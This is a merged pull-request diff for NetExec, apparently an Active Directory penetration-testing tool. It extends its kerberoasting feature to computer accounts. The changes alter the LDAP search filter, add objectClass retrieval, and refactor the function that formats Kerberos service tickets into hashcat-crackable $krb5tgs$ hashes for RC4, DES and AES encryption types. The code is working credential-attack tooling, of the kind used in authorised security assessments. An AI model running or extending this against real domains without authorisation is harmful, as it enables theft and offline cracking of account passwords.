Merge pull request Pennyw0rth#919 from Pennyw0rth/neff-allow-kerbroast-computers

Allow kerbroast computers

Author: NeffIsBack

nxc/protocols/ldap.py

@@ -1041,23 +1041,23 @@ def kerberoasting(self):
                         f.write(line + "\n")
             return
 
-        if self.args.kerberoast_users:
-            target_usernames = []
-            for item in self.args.kerberoast_users:
+        if self.args.kerberoast_account:
+            target_accounts = []
+            for item in self.args.kerberoast_account:
                 if os.path.isfile(item):
                     try:
                         with open(item, encoding="utf-8") as f:
-                            target_usernames.extend(line.strip() for line in f if line.strip())
+                            target_accounts.extend(line.strip() for line in f if line.strip())
                     except Exception as e:
                         self.logger.fail(f"Failed to read file '{item}': {e}")
                 else:
-                    target_usernames.append(item.strip())
+                    target_accounts.append(item.strip())
 
-            self.logger.info(f"Targeting specific users for kerberoasting: {', '.join(target_usernames)}")
+            self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
 
             # build search filter for specific users
-            user_filter = "".join([f"(sAMAccountName={username})" for username in target_usernames])
-            searchFilter = f"(&(servicePrincipalName=*)(!(objectCategory=computer))(|{user_filter}))"
+            user_filter = "".join([f"(sAMAccountName={username})" for username in target_accounts])
+            searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))"
         else:
             # default to all
             searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
@@ -1069,6 +1069,7 @@ def kerberoasting(self):
             "MemberOf",
             "pwdLastSet",
             "lastLogon",
+            "objectClass",
         ]
         resp = self.search(searchFilter, attributes, 0)
         resp_parsed = parse_result_attributes(resp)
@@ -1113,6 +1114,7 @@ def kerberoasting(self):
                             sessionKey,
                             user["sAMAccountName"],
                             downLevelLogonName,
+                            is_computer="computer" in user.get("objectClass", [])
                         )
 
                         pwdLastSet = "<never>" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"]))))

nxc/protocols/ldap/kerberos.py

@@ -46,7 +46,7 @@ def __init__(self, connection):
         if self.password is None:
             self.password = ""
 
-    def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):
+    def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None, is_computer=False):
         decoded_tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
 
         # According to RFC4757 (RC4-HMAC) the cipher part is like:
@@ -63,44 +63,32 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):
         # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
         # last 12 bytes of the encrypted ticket represent the checksum of the decrypted
         # ticket
-        if decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value:
-            entry = "$krb5tgs${}$*{}${}${}*${}${}".format(
-                constants.EncryptionTypes.rc4_hmac.value,
-                username,
-                decoded_tgs["ticket"]["realm"],
-                spn.replace(":", "~"),
-                hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
-                hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
-            )
-        elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
-            entry = "$krb5tgs${}${}${}$*{}*${}${}".format(
-                constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
-                username,
-                decoded_tgs["ticket"]["realm"],
-                spn.replace(":", "~"),
-                hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
-                hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode,
-            )
-        elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
-            entry = "$krb5tgs${}${}${}$*{}*${}${}".format(
-                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value,
-                username,
-                decoded_tgs["ticket"]["realm"],
-                spn.replace(":", "~"),
-                hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
-                hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(),
-            )
-        elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value:
-            entry = "$krb5tgs${}$*{}${}${}*${}${}".format(
-                constants.EncryptionTypes.des_cbc_md5.value,
-                username,
-                decoded_tgs["ticket"]["realm"],
-                spn.replace(":", "~"),
-                hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
-                hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
-            )
+
+        # Define variables
+        enc = decoded_tgs["ticket"]["enc-part"]
+        etype = enc["etype"]
+        cipher = enc["cipher"].asOctets()
+        realm = decoded_tgs["ticket"]["realm"]
+        spn_fmt = spn.replace(":", "~")
+
+        # Replace username if it's a computer account
+        if is_computer:
+            account = f"host{username.rstrip('$').lower()}.{str(realm).lower()}"
+        else:
+            if username.endswith("$"):
+                nxc_logger.fail("Account ends with $, but is_computer is False. TGS output is likely to be incorrect.")
+            account = username
+
+        if etype in (constants.EncryptionTypes.rc4_hmac.value, constants.EncryptionTypes.des_cbc_md5.value):
+            chk = hexlify(cipher[:16]).decode()
+            data = hexlify(cipher[16:]).decode()
+            entry = f"$krb5tgs${etype}$*{account}${realm}${spn_fmt}*${chk}${data}"
+        elif etype in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value):
+            chk = hexlify(cipher[-12:]).decode()
+            data = hexlify(cipher[:-12]).decode()
+            entry = f"$krb5tgs${etype}${account}${realm}$*{spn_fmt}*${chk}${data}"
         else:
-            nxc_logger.error(f"Skipping {decoded_tgs['ticket']['sname']['name-string'][0]}/{decoded_tgs['ticket']['sname']['name-string'][1]} due to incompatible e-type {decoded_tgs['ticket']['enc-part']['etype']:d}")
+            nxc_logger.fail(f"Skipping {decoded_tgs['ticket']['sname']['name-string'][0]}/{decoded_tgs['ticket']['sname']['name-string'][1]} due to incompatible e-type {decoded_tgs['ticket']['enc-part']['etype']:d}")
 
         return entry
 

nxc/protocols/ldap/proto_args.py

@@ -14,7 +14,7 @@ def proto_args(parser, parents):
     egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
     egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
     kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file")
-    kerberoast_users_arg = egroup.add_argument("--kerberoast-users", nargs="+", dest="kerberoast_users", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific users for kerberoasting (usernames or file containing usernames)")
+    kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)")
     egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users")
 
     # Make kerberoast-users require kerberoasting